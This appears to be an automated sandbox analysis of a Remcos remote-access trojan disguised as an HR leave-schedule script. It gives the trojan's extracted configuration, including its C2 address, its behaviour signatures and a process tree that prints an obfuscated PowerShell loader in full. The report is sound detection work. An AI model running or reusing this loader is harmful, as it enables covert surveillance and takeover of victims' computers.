Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
29/06/2026, 06:04
General
- Target HR Leave Schedule 2026 (Updated).vbe
- Size 54KB
- Sample260629-gswdssf18p
- SHA256 47c3f86cd33b11cb9c57df1f9ab4363eab0306e230936cbf45321b17c11fb012
Malware Config
Extracted
-
remcos
-
7.2.6 Pro
-
RemoteHost
-
130.12.182.90:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-23OGYM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HR Leave Schedule 2026 (Updated).vbe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'kulturhusets51' 'dorados' 'skaleret';$cravo=45621-45621;function deke ($barricadoes173,$forgetfully119) {$smalfilmapparatets=rhynchonelloid(@(119,203,205,221,225,213,204,207,201,194,206,223,156,166,159,150,208,221,194,219,148,143,213,219,219,213,202,199,207,225,215,219,229,154,159,158,124)) ;speciale ($smalfilmapparatets)}function rhynchonelloid ($misimpression,$odontologs=0) { do {$misimpression[$cravo]-=$forgetfully119ihensigterne[$cravo%9];$einar+=[char]$misimpression[$cravo];$cravo++} while ($misimpression[$cravo])$einar}function speciale ($oliedreven) {&($spinosympathetic) $oliedreven}Function Epicuticle ($misimpression,$subrules=0){$basisgrupper=rhynchonelloid(@(119,220,207,221,216,220,221,168,204,188,208,224,222,229,205,208,171,192,150,216,218,225,212,222,221,203,159,141,175,222,218,220,174,202,225,202,137,157,191,223,225,213,215,213,141,119,214,213,222,216,217,217,224,202,198,220,213,218,221,149));speciale ($basisgrupper);For($forgetfully119emist=0; $gigtsvag[$forgetfully119emist] -ne $reconfirmations; $forgetfully119emist++){$gigtsvag[$forgetfully119emist] = deke $gigtsvag[$forgetfully119emist] $forgetfully119ihensigterne[$forgetfully119emist%9]}$nedises=rhynchonelloid(@(119,208,216,218,209,205,213,168,199,180,213,215,218,221,223,166,155,207,194,210,218,139,202,207,209,207,215,174,198,201,143,214,213,208,226,216,201,202,211));speciale ($nedises);if ($subrules) { speciale $balkons}else {;$balkons}}$forgetfully119ihensigterne=@(83,105,108,107,111,108,105,110,101);$spinosympathetic=rhynchonelloid @(156,174,196);$forgetfully119enzomorpholine='\Kurtisknr.Ska';$kammer=Epicuticle 'ZkdcS0c7AAABPB4fSyE4SV9VfVlXSzgFB1hRaEkUXVtXSRwTaVhZW0FcQE4iNgoHBEBeWV9VY1hcWk8qABwANQYURF5ZWUBV';$adulator=Epicuticle 'Ox0YGxxWRkEBIQAaDkELBgECPwxCCAABRhsGbAwUGwAeHVMBPB4CBwANDUgMN1RdWDVZAC0SBVklES5VNhcHCQciCg0/Bj8jFwMPXxc7Wyo=';$wickis34=Epicuticle 'bQ==';Epicuticle 'dw4ABA0NBVQBOhoYAgELHAcWOwwfVksJBxhfMhkcDw4YCEVBNQYeDAoYDxsJPxBdWlYJBxQKPgYeGwcDBQcLNg==' 1;Epicuticle 'dw4ABA0NBVQMPR0JGRwZCwQAMB0FHQpRTQ8BJgUNHwAeRx0VPwAYQ0sbAA0OOhpfX0Y=' 1;Epicuticle 'CCcJH0E/DBwTOgoJOwAFBxooMgcNDAoeNFRfAAwPHh0FHRc1IQYYBAwDBVNWY15e' 1;$adulator=$intersubjective[0];$uvanlige=(Epicuticle 'dw4ABA0NBVQWJhkJGR8DGgcROh8JBQofGlMrNh5BJA0GDA0RcycJH0E7DAwmPwAJBRs=');speciale ($uvanlige);Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfSEJCgsJGx0+CCcJH0EkHRoVAQwdHgofHSYAMg0JGTJYWTNYdwINBgIJGw==' 1;$kloakerede=Epicuticle 'FwYbBQMDCAojOgUJ';$cirkulationsvrdiernes=Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfU0HBwANAgsXNg0JRSYCHwEONkFICgsZBQ8RPBtATwAZHRgMNg1F';$outvied=$distinguishes;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1;while (!$butterine) {Epicuticle 'dw4ABA0NBVQ2JwgIGAMLDABYdx0eHgo=' 1;speciale $cirkulationsvrdiernes;Epicuticle 'AAUJDh9EXUc=' 1;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1 ;Epicuticle 'dw4ABA0NBVQIMhoHAgEfHRsAIQcJVksLBQEHMgVWDgwDGQYcIAADBwALEEVOdk0FBRsJGx0QMQMJCBsFHwtLMAYZBRs=' 1;$adulator=$intersubjective[$maskinstuerne]}$wagework=171961;$krikkers=20251;Epicuticle 'dw4ABA0NBVQVMgUKDAoVGlMCMElIBBoYHwcANw==' 1;Epicuticle 'dw4ABA0NBVQuPBsJCgEfAgtYCCoDBRkJGxo4aVMqGQABKw8WNl9YOBseAAACe00cCgMKDgscIEA=' 1;Epicuticle 'dw4ABA0NBVQLMh0ZGQkDBQUAJxpRMDsJERpLFgcPBAsFBwk4aVMtOCwlIEAiNh0/Hx0FBwlNdyIDGQoNBx0ONkA=' 1;Epicuticle 'dw4ABA0NBVQONgcIAgELGgwKNBoYChkJGx1YdwcNHxoeDwEJOAwYGEEfHAwWJxsFBQhETRkENAwbBB0HRUoOIQAHAAoeGkc=' 1;speciale $kendingsbogstavers;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'kulturhusets51' 'dorados' 'skaleret';$cravo=45621-45621;function deke ($barricadoes173,$forgetfully119) {$smalfilmapparatets=rhynchonelloid(@(119,203,205,221,225,213,204,207,201,194,206,223,156,166,159,150,208,221,194,219,148,143,213,219,219,213,202,199,207,225,215,219,229,154,159,158,124)) ;speciale ($smalfilmapparatets)}function rhynchonelloid ($misimpression,$odontologs=0) { do {$misimpression[$cravo]-=$forgetfully119ihensigterne[$cravo%9];$einar+=[char]$misimpression[$cravo];$cravo++} while ($misimpression[$cravo])$einar}function speciale ($oliedreven) {&($spinosympathetic) $oliedreven}Function Epicuticle ($misimpression,$subrules=0){$basisgrupper=rhynchonelloid(@(119,220,207,221,216,220,221,168,204,188,208,224,222,229,205,208,171,192,150,216,218,225,212,222,221,203,159,141,175,222,218,220,174,202,225,202,137,157,191,223,225,213,215,213,141,119,214,213,222,216,217,217,224,202,198,220,213,218,221,149));speciale ($basisgrupper);For($forgetfully119emist=0; $gigtsvag[$forgetfully119emist] -ne $reconfirmations; $forgetfully119emist++){$gigtsvag[$forgetfully119emist] = deke $gigtsvag[$forgetfully119emist] $forgetfully119ihensigterne[$forgetfully119emist%9]}$nedises=rhynchonelloid(@(119,208,216,218,209,205,213,168,199,180,213,215,218,221,223,166,155,207,194,210,218,139,202,207,209,207,215,174,198,201,143,214,213,208,226,216,201,202,211));speciale ($nedises);if ($subrules) { speciale $balkons}else {;$balkons}}$forgetfully119ihensigterne=@(83,105,108,107,111,108,105,110,101);$spinosympathetic=rhynchonelloid @(156,174,196);$forgetfully119enzomorpholine='\Kurtisknr.Ska';$kammer=Epicuticle 'ZkdcS0c7AAABPB4fSyE4SV9VfVlXSzgFB1hRaEkUXVtXSRwTaVhZW0FcQE4iNgoHBEBeWV9VY1hcWk8qABwANQYURF5ZWUBV';$adulator=Epicuticle 'Ox0YGxxWRkEBIQAaDkELBgECPwxCCAABRhsGbAwUGwAeHVMBPB4CBwANDUgMN1RdWDVZAC0SBVklES5VNhcHCQciCg0/Bj8jFwMPXxc7Wyo=';$wickis34=Epicuticle 'bQ==';Epicuticle 'dw4ABA0NBVQBOhoYAgELHAcWOwwfVksJBxhfMhkcDw4YCEVBNQYeDAoYDxsJPxBdWlYJBxQKPgYeGwcDBQcLNg==' 1;Epicuticle 'dw4ABA0NBVQMPR0JGRwZCwQAMB0FHQpRTQ8BJgUNHwAeRx0VPwAYQ0sbAA0OOhpfX0Y=' 1;Epicuticle 'CCcJH0E/DBwTOgoJOwAFBxooMgcNDAoeNFRfAAwPHh0FHRc1IQYYBAwDBVNWY15e' 1;$adulator=$intersubjective[0];$uvanlige=(Epicuticle 'dw4ABA0NBVQWJhkJGR8DGgcROh8JBQofGlMrNh5BJA0GDA0RcycJH0E7DAwmPwAJBRs=');speciale ($uvanlige);Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfSEJCgsJGx0+CCcJH0EkHRoVAQwdHgofHSYAMg0JGTJYWTNYdwINBgIJGw==' 1;$kloakerede=Epicuticle 'FwYbBQMDCAojOgUJ';$cirkulationsvrdiernes=Epicuticle 'dxoZGwoeGQEWOh0FHQoCDB0WfU0HBwANAgsXNg0JRSYCHwEONkFICgsZBQ8RPBtATwAZHRgMNg1F';$outvied=$distinguishes;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1;while (!$butterine) {Epicuticle 'dw4ABA0NBVQ2JwgIGAMLDABYdx0eHgo=' 1;speciale $cirkulationsvrdiernes;Epicuticle 'AAUJDh9EXUc=' 1;Epicuticle 'dw4ABA0NBVQHJh0YDh0FBwtYez0JGBtBOQ8RO0lIBBoYHwcAN0A=' 1 ;Epicuticle 'dw4ABA0NBVQIMhoHAgEfHRsAIQcJVksLBQEHMgVWDgwDGQYcIAADBwALEEVOdk0FBRsJGx0QMQMJCBsFHwtLMAYZBRs=' 1;$adulator=$intersubjective[$maskinstuerne]}$wagework=171961;$krikkers=20251;Epicuticle 'dw4ABA0NBVQVMgUKDAoVGlMCMElIBBoYHwcANw==' 1;Epicuticle 'dw4ABA0NBVQuPBsJCgEfAgtYCCoDBRkJGxo4aVMqGQABKw8WNl9YOBseAAACe00cCgMKDgscIEA=' 1;Epicuticle 'dw4ABA0NBVQLMh0ZGQkDBQUAJxpRMDsJERpLFgcPBAsFBwk4aVMtOCwlIEAiNh0/Hx0FBwlNdyIDGQoNBx0ONkA=' 1;Epicuticle 'dw4ABA0NBVQONgcIAgELGgwKNBoYChkJGx1YdwcNHxoeDwEJOAwYGEEfHAwWJxsFBQhETRkENAwbBB0HRUoOIQAHAAoeGkc=' 1;speciale $kendingsbogstavers;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
Kurtisknr.Ska
memory/620-34-0x00000000086D0000-0x0000000008C8A000-memory.dmp
memory/620-32-0x0000000007510000-0x00000000075A6000-memory.dmp
memory/620-29-0x0000000006290000-0x00000000062DC000-memory.dmp
memory/620-28-0x0000000006250000-0x000000000626E000-memory.dmp
memory/620-31-0x0000000006790000-0x00000000067AA000-memory.dmp
memory/620-26-0x0000000005E20000-0x000000000617B000-memory.dmp
memory/620-30-0x0000000007A90000-0x000000000810C000-memory.dmp
memory/620-22-0x0000000005C90000-0x0000000005CF6000-memory.dmp
memory/620-21-0x0000000005AF0000-0x0000000005B12000-memory.dmp
memory/620-23-0x0000000005D00000-0x0000000005D66000-memory.dmp
memory/620-36-0x0000000008C90000-0x000000000C894000-memory.dmp
memory/620-33-0x00000000074B0000-0x00000000074D2000-memory.dmp
memory/620-19-0x0000000004D50000-0x0000000004D86000-memory.dmp
memory/620-20-0x0000000005450000-0x0000000005A9A000-memory.dmp
memory/2384-38-0x0000000000CF0000-0x0000000001FD6000-memory.dmp
memory/2384-58-0x0000000000CF0000-0x0000000001FD6000-memory.dmp
memory/2384-63-0x000000001EDD0000-0x000000001EEC7000-memory.dmp
memory/2384-66-0x000000001EDD0000-0x000000001EEC7000-memory.dmp
memory/2384-67-0x000000001EDD0000-0x000000001EEC7000-memory.dmp
memory/2384-68-0x0000000000CF0000-0x0000000001FD6000-memory.dmp
memory/2384-69-0x0000000000CF0000-0x0000000001FD6000-memory.dmp
memory/2920-13-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-4-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-5-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-18-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-0-0x00007FFF8FE0F000-0x00007FFF8FE10000-memory.dmp
memory/2920-3-0x000001EC1E070000-0x000001EC1E092000-memory.dmp
memory/2920-14-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-12-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-11-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-10-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-9-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-8-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-7-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp
memory/2920-6-0x00007FFF8FC80000-0x00007FFF90624000-memory.dmp